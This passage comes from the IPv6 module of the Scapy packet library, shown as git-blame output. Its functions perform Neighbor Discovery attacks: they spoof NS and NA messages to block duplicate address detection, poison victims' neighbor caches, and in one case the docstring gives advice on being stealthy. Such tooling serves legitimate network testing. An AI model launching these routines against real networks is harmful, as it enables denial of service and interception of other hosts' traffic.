3372af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard be sent, i.e. the emitter will be a target of the DoS. 3373af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3374af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac: allow specifying a specific source mac address for the reply, 3375af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard i.e. to prevent the use of the mac address of the interface. 3376af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3377af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3378af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def ns_reply_callback(req, reply_mac, iface): 3379af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3380af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Callback that reply to a NS by sending a similar NS 3381af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3382af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3383af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Let's build a reply and send it 3384af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac = req[Ether].src 3385a3618a09887e39536009036d2e88341c61d4d385gpotter dst = req[IPv6].dst 3386af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt = req[ICMPv6ND_NS].tgt 3387af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt) 3388af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sendp(rep, iface=iface, verbose=0) 3389af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3390b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter print("Reply NS for target address %s (received from %s)" % (tgt, mac)) 3391af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3392af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, 3393af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_filter, reply_mac) 3394af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3395af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3396af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, 3397af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac=None): 3398af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3399af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3400af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3756. This is done by listening incoming NS messages *sent from the 3401af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard unspecified address* and sending a NA reply for the target address, 3402af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard leading the peer to believe that another node is also performing DAD 3403af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard for that address. 3404af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3405af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard By default, the fake NA sent to create the DoS uses: 3406af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as target address the target address found in received NS. 3407af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as IPv6 source address: the target address found in received NS. 3408af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as IPv6 destination address: the link-local solicited-node multicast 3409af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address derived from the target address in received NS. 3410af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - the mac address of the interface as source (or reply_mac, see below). 3411af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - the multicast mac address derived from the solicited node multicast 3412af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address used as IPv6 destination address. 3413af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled 3414af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard with the mac address used as source of the NA. 3415af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3416af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Following arguments can be used to change the behavior: 3417af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3418af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface: a specific interface (e.g. "eth0") of the system on which the 3419af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard DoS should be launched. If None is provided conf.iface is used. 3420af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3421af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 3422af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Only NS messages received from this source will trigger replies. 3423af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard This allows limiting the effects of the DoS to a single target by 3424af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filtering on its mac address. The default value is None: the DoS 3425af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is not limited to a specific mac address. 3426af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3427af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_filter: Same as previous but for a specific target IPv6 address for 3428af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard received NS. If the target address in the NS message (not the IPv6 3429af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard destination address) matches that address, then a fake reply will 3430af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard be sent, i.e. the emitter will be a target of the DoS. 3431af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3432af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac: allow specifying a specific source mac address for the reply, 3433af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard i.e. to prevent the use of the mac address of the interface. This 3434af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address will also be used in the Target Link-Layer Address option. 3435af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3436af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3437af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def na_reply_callback(req, reply_mac, iface): 3438af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3439af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Callback that reply to a NS with a NA 3440af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3441af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3442af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Let's build a reply and send it 3443af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac = req[Ether].src 3444a3618a09887e39536009036d2e88341c61d4d385gpotter dst = req[IPv6].dst 3445af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt = req[ICMPv6ND_NS].tgt 3446af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst) 3447af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) 3448af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) 3449af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sendp(rep, iface=iface, verbose=0) 3450af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3451b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter print("Reply NA for target address %s (received from %s)" % (tgt, mac)) 3452af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3453af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, 3454af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_filter, reply_mac) 3455af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3456af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3457af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, 3458af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac=None, router=False): 3459af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3460af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The main purpose of this function is to send fake Neighbor Advertisement 3461af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard messages to a victim. As the emission of unsolicited Neighbor Advertisement 3462af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is pretty pointless (from an attacker standpoint) because it will not 3463af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard lead to a modification of a victim's neighbor cache, the function send 3464af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard advertisements in response to received NS (NS sent as part of the DAD, 3465af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard i.e. with an unspecified address as source, are not considered). 3466af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3467af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard By default, the fake NA sent to create the DoS uses: 3468af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as target address the target address found in received NS. 3469af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as IPv6 source address: the target address 3470af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as IPv6 destination address: the source IPv6 address of received NS 3471af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard message. 3472af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - the mac address of the interface as source (or reply_mac, see below). 3473af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - the source mac address of the received NS as destination macs address 3474af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard of the emitted NA. 3475af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) 3476af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filled with the mac address used as source of the NA. 3477af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3478af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Following arguments can be used to change the behavior: 3479af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3480af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface: a specific interface (e.g. "eth0") of the system on which the 3481af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard DoS should be launched. If None is provided conf.iface is used. 3482af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3483af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 3484af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Only NS messages received from this source will trigger replies. 3485af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard This allows limiting the effects of the DoS to a single target by 3486af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filtering on its mac address. The default value is None: the DoS 3487af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is not limited to a specific mac address. 3488af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3489af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_filter: Same as previous but for a specific target IPv6 address for 3490af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard received NS. If the target address in the NS message (not the IPv6 3491af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard destination address) matches that address, then a fake reply will 3492af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard be sent, i.e. the emitter will be a target of the DoS. 3493af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3494af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac: allow specifying a specific source mac address for the reply, 3495af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard i.e. to prevent the use of the mac address of the interface. This 3496af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address will also be used in the Target Link-Layer Address option. 3497af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3498af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard router: by the default (False) the 'R' flag in the NA used for the reply 3499af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is not set. If the parameter is set to True, the 'R' flag in the 3500af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard NA is set, advertising us as a router. 3501af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3502af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Please, keep the following in mind when using the function: for obvious 3503af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reasons (kernel space vs. Python speed), when the target of the address 3504af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard resolution is on the link, the sender of the NS receives 2 NA messages 3505af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard in a row, the valid one and our fake one. The second one will overwrite 3506af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard the information provided by the first one, i.e. the natural latency of 3507af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Scapy helps here. 3508af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3509af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard In practice, on a common Ethernet link, the emission of the NA from the 3510af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard genuine target (kernel stack) usually occurs in the same millisecond as 3511af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard the receipt of the NS. The NA generated by Scapy6 will usually come after 3512af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard something 20+ ms. On a usual testbed for instance, this difference is 3513af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sufficient to have the first data packet sent from the victim to the 3514af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard destination before it even receives our fake NA. 3515af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3516af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3517af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def is_request(req, mac_src_filter, tgt_filter): 3518af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3519af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Check if packet req is a request 3520af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3521af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3522af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Those simple checks are based on Section 5.4.2 of RFC 4862 3523af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): 3524af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3525af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3526af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src = req[Ether].src 3527af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if mac_src_filter and mac_src != mac_src_filter: 3528af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3529af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3530af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Source must NOT be the unspecified address 3531a3618a09887e39536009036d2e88341c61d4d385gpotter if req[IPv6].src == "::": 3532af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3533af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3534a3618a09887e39536009036d2e88341c61d4d385gpotter tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) 3535af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if tgt_filter and tgt != tgt_filter: 3536af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3537af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3538a3618a09887e39536009036d2e88341c61d4d385gpotter dst = req[IPv6].dst 3539af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. 3540af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3541af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # If this is a real address resolution NS, then the destination 3542af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # address of the packet is the link-local solicited node multicast 3543af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # address associated with the target of the NS. 3544af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Otherwise, the NS is a NUD related one, i.e. the peer is 3545af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # unicasting the NS to check the target is still alive (L2 3546af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # information is still in its cache and it is verified) 3547af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard received_snma = socket.inet_pton(socket.AF_INET6, dst) 3548af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard expected_snma = in6_getnsma(tgt) 3549af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if received_snma != expected_snma: 3550b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter print("solicited node multicast @ does not match target @!") 3551af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3552af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3553af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 1 3554af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3555af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def reply_callback(req, reply_mac, router, iface): 3556af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3557af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Callback that reply to a NS with a spoofed NA 3558af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3559af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3560af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and 3561af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # send it back. 3562af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac = req[Ether].src 3563af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard pkt = req[IPv6] 3564a3618a09887e39536009036d2e88341c61d4d385gpotter src = pkt.src 3565af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt = req[ICMPv6ND_NS].tgt 3566af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src) 3567af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS 3568af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3569af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # "If the solicitation IP Destination Address is not a multicast 3570af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # address, the Target Link-Layer Address option MAY be omitted" 3571af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Given our purpose, we always include it. 3572af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) 3573af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3574af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sendp(rep, iface=iface, verbose=0) 3575af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3576b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter print("Reply NA for target address %s (received from %s)" % (tgt, mac)) 3577af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3578af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not iface: 3579af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface = conf.iface 3580af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # To prevent sniffing our own traffic 3581af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not reply_mac: 3582af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac = get_if_hwaddr(iface) 3583af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff_filter = "icmp6 and not ether src %s" % reply_mac 3584af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3585af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard router = (router and 1) or 0 # Value of the R flags in NA 3586af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3587af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff(store=0, 3588af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filter=sniff_filter, 3589af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), 3590af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard prn=lambda x: reply_callback(x, reply_mac, router, iface), 3591af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface=iface) 3592af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3593af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3594af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", 3595af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard dst=None, src_mac=None, dst_mac=None, loop=True, 3596af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard inter=1, iface=None): 3597af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3598af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The main purpose of this function is to send fake Neighbor Solicitations 3599af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard messages to a victim, in order to either create a new entry in its neighbor 3600af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated 3601af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard that a node SHOULD create the entry or update an existing one (if it is not 3602af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard currently performing DAD for the target of the NS). The entry's reachability 3603af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard state is set to STALE. 3604af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3605af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The two main parameters of the function are the source link-layer address 3606af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard (carried by the Source Link-Layer Address option in the NS) and the 3607af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard source address of the packet. 3608af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3609af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Unlike some other NDP_Attack_* function, this one is not based on a 3610af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard stimulus/response model. When called, it sends the same NS packet in loop 3611af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard every second (the default) 3612af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3613af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Following arguments can be used to change the format of the packets: 3614af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3615af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard src_lladdr: the MAC address used in the Source Link-Layer Address option 3616af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard included in the NS packet. This is the address that the peer should 3617af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard associate in its neighbor cache with the IPv6 source address of the 3618af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard packet. If None is provided, the mac address of the interface is 3619af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard used. 3620af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3621af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard src: the IPv6 address used as source of the packet. If None is provided, 3622af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard an address associated with the emitting interface will be used 3623af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard (based on the destination address of the packet). 3624af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3625af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard target: the target address of the NS packet. If no value is provided, 3626af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard a dummy address (2001:db8::1) is used. The value of the target 3627af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard has a direct impact on the destination address of the packet if it 3628af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is not overridden. By default, the solicited-node multicast address 3629af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard associated with the target is used as destination address of the 3630af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard packet. Consider specifying a specific destination address if you 3631af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard intend to use a target address different than the one of the victim. 3632af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3633af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard dst: The destination address of the NS. By default, the solicited node 3634af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard multicast address associated with the target address (see previous 3635af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard parameter) is used if no specific value is provided. The victim 3636af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is not expected to check the destination address of the packet, 3637af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard so using a multicast address like ff02::1 should work if you want 3638af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard the attack to target all hosts on the link. On the contrary, if 3639af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard you want to be more stealth, you should provide the target address 3640af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard for this parameter in order for the packet to be sent only to the 3641af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard victim. 3642af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3643af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard src_mac: the MAC address used as source of the packet. By default, this 3644af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is the address of the interface. If you want to be more stealth, 3645af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard feel free to use something else. Note that this address is not the 3646af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard that the victim will use to populate its neighbor cache. 3647af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3648af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard dst_mac: The MAC address used as destination address of the packet. If 3649af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard the IPv6 destination address is multicast (all-nodes, solicited 3650af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard node, ...), it will be computed. If the destination address is 3651af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard unicast, a neighbor solicitation will be performed to get the 3652af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard associated address. If you want the attack to be stealth, you 